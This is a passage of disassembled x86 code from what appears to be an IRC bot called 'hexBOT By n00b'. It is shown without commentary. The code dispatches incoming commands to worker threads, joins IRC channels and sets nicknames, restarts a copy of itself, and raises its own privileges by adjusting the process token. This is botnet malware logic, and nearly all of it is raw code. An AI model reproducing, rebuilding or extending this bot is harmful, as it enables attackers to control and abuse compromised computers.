		push	[ebp+arg_10]
		push	offset dword_42066C
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	13h
		push	eax
		call	sub_40E1D6
		add	esp, 20h
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2F8]
		push	ebx
		push	eax
		push	offset sub_4073B3
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40CEF5


loc_40CEDF:				; CODE XREF: sub_40997B+3578j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40CEDF
; ---------------------------------------------------------------------------


loc_40CEF5:				; CODE XREF: sub_40997B+3562j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_420628
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40CF06:				; CODE XREF: sub_40997B+183Bj
					; sub_40997B+1852j
		mov	eax, [ebp+esi+var_94]
		push	7Fh
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_2F4]
		push	eax
		call	sub_410090
		mov	eax, [ebp+esi+var_90]
		push	7Fh
		mov	[ebp+arg_0], eax
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_410090
		mov	esi, [ebp+esi+var_8C]
		push	7Fh
		lea	eax, [ebp+var_1F4]
		push	esi
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_174]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_EC], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_2F8], edi
		push	[ebp+arg_10]
		push	offset dword_4205E4
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	0Bh
		push	eax
		call	sub_40E1D6
		add	esp, 20h
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2F8]
		push	ebx
		push	eax
		push	offset sub_4061E8
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40CFF2


loc_40CFDC:				; CODE XREF: sub_40997B+3675j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40CFDC
; ---------------------------------------------------------------------------


loc_40CFF2:				; CODE XREF: sub_40997B+365Fj
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4205A0
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40D003:				; CODE XREF: sub_40997B+16D8j
					; sub_40997B+16EFj ...
		mov	eax, [ebp+esi+var_94]
		push	7Fh
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_370]
		push	eax
		call	sub_410090
		mov	eax, [ebp+esi+var_90]
		push	7Fh
		mov	[ebp+arg_0], eax
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_410090
		mov	esi, [ebp+esi+var_8C]
		push	7Fh
		lea	eax, [ebp+var_270]
		push	esi
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_1F0]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		push	20h
		lea	eax, [ebp+var_170]
		push	[ebp+arg_4]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_EC], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_378], edi
		push	[ebp+arg_10]
		push	offset dword_420558
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	0Ah
		push	eax
		call	sub_40E1D6
		add	esp, 20h
		mov	[ebp+var_374], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_378]
		push	ebx
		push	eax
		push	offset sub_406851
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_374]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D100


loc_40D0EA:				; CODE XREF: sub_40997B+3783j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D100:				; CODE XREF: sub_40997B+376Dj
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_420510
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40D111:				; CODE XREF: sub_40997B+16AAj
					; sub_40997B+16C1j
		mov	eax, [ebp+esi+var_94]
		push	7Fh
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_410090
		mov	esi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_1F4]
		push	esi
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_174]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_EC], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_278], edi
		push	offset unk_4204D0
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	10h
		push	eax
		call	sub_40E1D6
		add	esp, 1Ch
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_278]
		push	ebx
		push	eax
		push	offset sub_406CED
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D1E1


loc_40D1CB:				; CODE XREF: sub_40997B+3864j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D1CB
; ---------------------------------------------------------------------------


loc_40D1E1:				; CODE XREF: sub_40997B+384Ej
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_420488
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40D1F2:				; CODE XREF: sub_40997B+167Cj
					; sub_40997B+1693j
		mov	eax, [ebp+esi+var_94]
		push	7Fh
		mov	[ebp+arg_10], eax
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_410090
		mov	esi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_1F4]
		push	esi
		push	eax
		call	sub_410090
		push	7Fh
		lea	eax, [ebp+var_174]
		push	[ebp+var_90]
		push	eax
		call	sub_410090
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_EC], eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_578]
		mov	[ebp+var_278], edi
		push	offset dword_420448
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	12h
		push	eax
		call	sub_40E1D6
		add	esp, 1Ch
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_278]
		push	ebx
		push	eax
		push	offset sub_406593
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D2C2


loc_40D2AC:				; CODE XREF: sub_40997B+3945j
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D2C2:				; CODE XREF: sub_40997B+392Fj
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_420400
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40D2D3:				; CODE XREF: sub_40997B+164Ej
					; sub_40997B+1665j
		mov	eax, [ebp+esi+var_90]
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_40FB66
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_F8], eax
		jle	loc_40D3D9
		mov	esi, [ebp+esi+var_94]
		lea	eax, [ebp+var_280]
		push	esi
		push	80h
		push	eax
		call	sub_40E7AB
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_6BA], bl
		mov	[ebp+var_284], edi
		push	[ebp+var_90]
		setnz	al
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_180]
		push	80h
		push	eax
		call	sub_40E7AB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_0]
		mov	[ebp+var_EC], eax
		lea	eax, [ebp+var_578]
		push	esi
		push	offset dword_4203B8
		push	200h
		push	eax
		call	sub_40E7AB
		push	ebx
		lea	eax, [ebp+var_578]
		push	0Dh
		push	eax
		call	sub_40E1D6
		add	esp, 20h
		mov	[ebp+var_100], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_284]
		push	ebx
		push	eax
		push	offset sub_4058B9
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_100]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D3C8


loc_40D3B2:				; CODE XREF: sub_40997B+3A4Bj
		cmp	[ebp+var_E8], ebx
		jnz	loc_40B17D
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D3B2
; ---------------------------------------------------------------------------


loc_40D3C8:				; CODE XREF: sub_40997B+3A35j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42036C
		jmp	loc_40B16E
; ---------------------------------------------------------------------------


loc_40D3D9:				; CODE XREF: sub_40997B+3971j
		push	offset dword_420324


loc_40D3DE:				; CODE XREF: sub_40997B+23A4j
					; sub_40997B+2517j ...
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx
		jmp	loc_40B17D
; ---------------------------------------------------------------------------


loc_40D3F1:				; CODE XREF: sub_40997B+14E9j
					; sub_40997B+1500j
		push	24h
		call	sub_40E41E
		test	eax, eax
		pop	ecx
		jle	short loc_40D41B
		cmp	[ebp+var_8], ebx
		jnz	loc_409D24
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4202FC
		push	[ebp+var_90]
		push	edi
		jmp	loc_40A237
; ---------------------------------------------------------------------------


loc_40D41B:				; CODE XREF: sub_40997B+3A80j
		push	[ebp+var_90]
		lea	eax, [ebp+var_60C]
		push	80h
		push	eax
		call	sub_40E7AB
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+esi+var_94]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_610], edi
		mov	[ebp+var_580], eax
		mov	[ebp+var_588], ebx
		jz	short loc_40D479
		push	esi
		push	offset aFull	; "full"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D479
		mov	[ebp+var_588], 1


loc_40D479:				; CODE XREF: sub_40997B+3AE1j
					; sub_40997B+3AF2j
		lea	eax, [ebp+var_578]
		push	offset dword_4202CC
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	24h
		push	eax
		call	sub_40E1D6
		add	esp, 14h
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_610]
		push	ebx
		push	eax
		push	offset sub_40DD29
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D4E3


loc_40D4D1:				; CODE XREF: sub_40997B+3B66j
		cmp	[ebp+var_57C], ebx
		jnz	short loc_40D4FE
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D4D1
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: sub_40997B+3B54j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_420284
		push	eax
		call	sub_40EE10
		add	esp, 0Ch


loc_40D4FE:				; CODE XREF: sub_40997B+1805j
					; sub_40997B+1825j ...
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		jmp	loc_409F13
; ---------------------------------------------------------------------------


loc_40D50F:				; CODE XREF: sub_40997B+14BBj
					; sub_40997B+14D2j
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	edi
		push	eax
		call	sub_405503
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		push	offset dword_42025C


loc_40D534:				; CODE XREF: sub_40997B+3BEFj
		call	sub_407A4E
		add	esp, 18h
		jmp	loc_40DAA2
; ---------------------------------------------------------------------------


loc_40D541:				; CODE XREF: sub_40997B+148Dj
					; sub_40997B+14A4j
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_1C]
		push	eax
		call	sub_40574C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		push	offset dword_420234
		jmp	short loc_40D534
; ---------------------------------------------------------------------------


loc_40D56C:				; CODE XREF: sub_40997B+145Fj
					; sub_40997B+1476j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_407AEE
		jmp	loc_409D21
; ---------------------------------------------------------------------------


loc_40D583:				; CODE XREF: sub_40997B+1431j
					; sub_40997B+1448j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_174], bl
		jz	short loc_40D5C2
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		jz	short loc_40D5C2
		push	esi
		push	[ebp+var_C]
		call	sub_4102A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D5C2
		push	eax
		push	offset dword_41FB7C
		lea	eax, [ebp+var_174]
		push	80h
		push	eax
		call	sub_40E7AB
		add	esp, 10h


loc_40D5C2:				; CODE XREF: sub_40997B+3C11j
					; sub_40997B+3C1Cj ...
		push	[ebp+var_90]
		lea	eax, [ebp+var_1F4]
		push	80h
		push	eax
		call	sub_40E7AB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_EC], eax
		lea	eax, [ebp+var_578]
		push	offset dword_420210
		push	eax
		mov	[ebp+var_1F8], edi
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	22h
		push	eax
		call	sub_40E1D6
		add	esp, 14h
		mov	[ebp+var_F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1F8]
		push	ebx
		push	eax
		push	offset sub_407B2E
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D662


loc_40D64C:				; CODE XREF: sub_40997B+3CE5j
		cmp	[ebp+var_E8], ebx
		jnz	loc_409D24
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D64C
; ---------------------------------------------------------------------------


loc_40D662:				; CODE XREF: sub_40997B+3CCFj
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4201C8
		jmp	loc_409F0D
; ---------------------------------------------------------------------------


loc_40D673:				; CODE XREF: sub_40997B+1403j
					; sub_40997B+141Aj
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_4079D6
		push	offset dword_4201A4
		call	sub_407A4E
		jmp	loc_40CD3F
; ---------------------------------------------------------------------------


loc_40D691:				; CODE XREF: sub_40997B+13D5j
					; sub_40997B+13ECj
		push	[ebp+var_90]
		lea	eax, [ebp+var_60C]
		push	80h
		push	eax
		call	sub_40E7AB
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+esi+var_94]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_610], edi
		mov	[ebp+var_580], eax
		jz	short loc_40D6E8
		push	offset dword_4201A0
		push	esi
		call	sub_40FB80
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_588], eax
		jmp	short loc_40D6EE
; ---------------------------------------------------------------------------


loc_40D6E8:				; CODE XREF: sub_40997B+3D51j
		mov	[ebp+var_588], ebx


loc_40D6EE:				; CODE XREF: sub_40997B+3D6Bj
		lea	eax, [ebp+var_578]
		push	offset dword_420178
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	25h
		push	eax
		call	sub_40E1D6
		add	esp, 14h
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_610]
		push	ebx
		push	eax
		push	offset sub_40E241
		push	ebx
		push	ebx
		call	dword_41A080	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_42D2EC[ecx], eax
		jz	short loc_40D758


loc_40D746:				; CODE XREF: sub_40997B+3DDBj
		cmp	[ebp+var_57C], ebx
		jnz	short loc_40D773
		push	32h
		call	dword_41A060	; Sleep
		jmp	short loc_40D746
; ---------------------------------------------------------------------------


loc_40D758:				; CODE XREF: sub_40997B+3DC9j
		call	dword_41A07C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_420130
		push	eax
		call	sub_40EE10
		add	esp, 0Ch


loc_40D773:				; CODE XREF: sub_40997B+1D10j
					; sub_40997B+1D30j ...
		lea	eax, [ebp+var_578]
		push	eax
		jmp	loc_40B3D0
; ---------------------------------------------------------------------------


loc_40D77F:				; CODE XREF: sub_40997B+13A7j
					; sub_40997B+13BEj
		lea	eax, [ebp+var_1E8]
		push	104h
		push	eax
		push	ebx
		call	dword_41A078	; GetModuleFileNameA
		push	10h
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		call	sub_40E800
		push	44h
		lea	eax, [ebp+var_5BC]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 18h
		mov	[ebp+var_5BC], esi
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_5B0], offset byte_424EF4
		push	1
		mov	word ptr [ebp+var_58C],	bx
		pop	esi
		push	eax
		lea	eax, [ebp+var_5BC]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_590], esi
		call	dword_41A0C0	; CreateProcessA
		cmp	eax, esi
		jnz	short loc_40D81C
		lea	eax, [ebp+var_578]
		push	offset aCloneRunning__ ; "Clone	running... now restarting..."
		push	eax
		call	sub_40EE10
		pop	ecx
		pop	ecx
		call	dword_427274	; WSACleanup
		push	ebx
		call	dword_41A0F4	; ExitProcess


loc_40D81C:				; CODE XREF: sub_40997B+3E7Fj
		lea	eax, [ebp+var_1E8]
		push	eax
		push	offset aRestartFailed_ ; "Restart failed. Couldn't open file: %s"
		jmp	loc_40C47C
; ---------------------------------------------------------------------------


loc_40D82D:				; CODE XREF: sub_40997B+1327j
					; sub_40997B+133Ej
		push	offset aHortsfor ; "hortsfor"
		push	offset dword_4200C0
		jmp	short loc_40D84B
; ---------------------------------------------------------------------------


loc_40D839:				; CODE XREF: sub_40997B+12F9j
					; sub_40997B+1310j
		push	dword_4BA0D8
		call	sub_4053E4
		pop	ecx
		push	eax
		push	offset dword_420088


loc_40D84B:				; CODE XREF: sub_40997B+3EBCj
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 20h
		jmp	loc_40C43F
; ---------------------------------------------------------------------------


loc_40D876:				; CODE XREF: sub_40997B+12CBj
					; sub_40997B+12E2j
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		jz	short loc_40D8A6
		cmp	[ebp+var_C], ebx
		jz	short loc_40D8B3
		push	esi
		push	[ebp+var_C]
		call	sub_4102A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D8B3
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	edi
		call	sub_408486
		add	esp, 0Ch
		jmp	short loc_40D8B3
; ---------------------------------------------------------------------------


loc_40D8A6:				; CODE XREF: sub_40997B+3F04j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_408486
		pop	ecx
		pop	ecx


loc_40D8B3:				; CODE XREF: sub_40997B+3F09j
					; sub_40997B+3F18j ...
		push	0FFFFFFFEh
		jmp	loc_409D26
; ---------------------------------------------------------------------------


loc_40D8BA:				; CODE XREF: sub_40997B+129Dj
					; sub_40997B+12B4j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	edi
		call	sub_408486
		push	offset dword_42002C
		call	sub_407A4E
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_409D27
; ---------------------------------------------------------------------------


loc_40D8DA:				; CODE XREF: sub_40997B+126Fj
					; sub_40997B+1286j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	edi
		call	sub_408486
		push	offset dword_41FFEC
		call	sub_407A4E
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_409D27
; ---------------------------------------------------------------------------


loc_40D8F9:				; CODE XREF: sub_40997B+1241j
					; sub_40997B+1258j
		push	[ebp+var_4]
		push	[ebp+var_90]
		push	edi
		call	sub_403372
		jmp	loc_40C262
; ---------------------------------------------------------------------------


loc_40D90D:				; CODE XREF: sub_40997B+11BDj
					; sub_40997B+11D4j
		push	[ebp+esi+var_94]
		push	24h
		push	offset dword_41FFDC
		push	offset dword_41FFC8
		jmp	loc_40A83B
; ---------------------------------------------------------------------------


loc_40D925:				; CODE XREF: sub_40997B+E7Dj
					; sub_40997B+E94j
		push	offset aHexbotByN00b ; "hexBOT By n00b"
		push	offset dword_41FFB0


loc_40D92F:				; CODE XREF: sub_40997B+2B50j
					; sub_40997B+2B5Aj
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10


loc_40D93B:				; CODE XREF: sub_40997B+33F8j
		add	esp, 0Ch
		jmp	loc_40C420
; ---------------------------------------------------------------------------


loc_40D943:				; CODE XREF: sub_40997B+E4Fj
					; sub_40997B+E66j
		cmp	[ebp+esi+var_94], ebx
		jz	short loc_40D9C5
		lea	eax, [ebp+var_60C]
		mov	[ebp+var_60C], 94h
		push	eax
		call	dword_41A0D4	; GetVersionExA
		cmp	[ebp+var_608], 5
		jnz	short loc_40D99A
		cmp	[ebp+var_604], 1
		jnz	short loc_40D99A
		lea	eax, [ebp+var_5F8]
		push	offset a2	; "2"
		push	eax
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D99A
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_41FF68
		jmp	short loc_40DA05
; ---------------------------------------------------------------------------


loc_40D99A:				; CODE XREF: sub_40997B+3FEFj
					; sub_40997B+3FF8j ...
		mov	eax, [ebp+arg_18]
		xor	esi, esi
		mov	[ebp+arg_24], eax


loc_40D9A2:				; CODE XREF: sub_40997B+4046j
		push	[ebp+var_98]
		push	[ebp+arg_24]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9F0
		add	[ebp+arg_24], 80h
		inc	esi
		cmp	esi, 3
		jl	short loc_40D9A2
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------


loc_40D9C5:				; CODE XREF: sub_40997B+3FCFj
		mov	eax, [ebp+arg_18]
		xor	esi, esi
		mov	[ebp+arg_24], eax


loc_40D9CD:				; CODE XREF: sub_40997B+4071j
		push	[ebp+var_98]
		push	[ebp+arg_24]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D9F0
		add	[ebp+arg_24], 80h
		inc	esi
		cmp	esi, 3
		jl	short loc_40D9CD
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------


loc_40D9F0:				; CODE XREF: sub_40997B+4039j
					; sub_40997B+4064j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_421D44


loc_40DA05:				; CODE XREF: sub_40997B+2B77j
					; sub_40997B+2DF3j ...
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10


loc_40DA11:				; CODE XREF: sub_40997B+2E0Ej
		add	esp, 0Ch


loc_40DA14:				; CODE XREF: sub_40997B+2DD7j
					; sub_40997B+4048j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40DA33
		push	ebx
		lea	eax, [ebp+var_578]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_90]
		push	edi
		call	sub_4084CC
		add	esp, 14h


loc_40DA33:				; CODE XREF: sub_40997B+783j
					; sub_40997B+1391j ...
		push	1
		pop	esi
		jmp	loc_40C442
; ---------------------------------------------------------------------------


loc_40DA3B:				; CODE XREF: sub_40997B+E21j
					; sub_40997B+E38j
		push	[ebp+var_94]
		push	offset a332	; "332"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DAA2
		call	sub_40E39F
		push	ebx
		call	dword_41A0F4	; ExitProcess


loc_40DA5D:				; CODE XREF: sub_40997B+DF3j
					; sub_40997B+E0Aj
		push	[ebp+esi+var_94]
		lea	eax, [ebp+var_62C]
		push	dword_41FBF8
		push	eax
		push	edi
		call	sub_40E17A
		add	esp, 10h
		lea	eax, [ebp+var_62C]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	edi
		call	sub_408486
		add	esp, 0Ch
		lea	eax, [ebp+var_62C]
		push	eax
		push	offset dword_41FF38


loc_40DA9B:				; CODE XREF: sub_40997B+280Ej
					; sub_40997B+2C78j ...
		call	sub_407AC2
		pop	ecx


loc_40DAA1:				; CODE XREF: sub_40997B+1A5Aj
		pop	ecx


loc_40DAA2:				; CODE XREF: sub_40997B+641j
					; sub_40997B+64Dj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_409D27
; ---------------------------------------------------------------------------


loc_40DAAA:				; CODE XREF: sub_40997B+1F9j
					; sub_40997B+20Ej
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 0Ch
		push	offset aXtIb	; "-xt+iB"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 10h
		mov	dword_4BA24C, edi
		jmp	loc_409C00
sub_40997B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF6	proc near		; CODE XREF: sub_404CC0+7p
					; sub_40DB61+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_41A110	; GetCurrentProcess
		push	eax
		call	dword_4272F8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_40DB15
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DB15:				; CODE XREF: sub_40DAF6+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4272D0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_40DB53
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_40DB3C
		or	[ebp+var_8], 2
		jmp	short loc_40DB40
; ---------------------------------------------------------------------------


loc_40DB3C:				; CODE XREF: sub_40DAF6+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_40DB40:				; CODE XREF: sub_40DAF6+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_427380	; AdjustTokenPrivileges
		mov	esi, eax


loc_40DB53:				; CODE XREF: sub_40DAF6+32j
		push	[ebp+var_4]
		call	dword_41A068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40DAF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB61	proc near		; CODE XREF: sub_40997B+2B3Bp
					; sub_40DD29+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
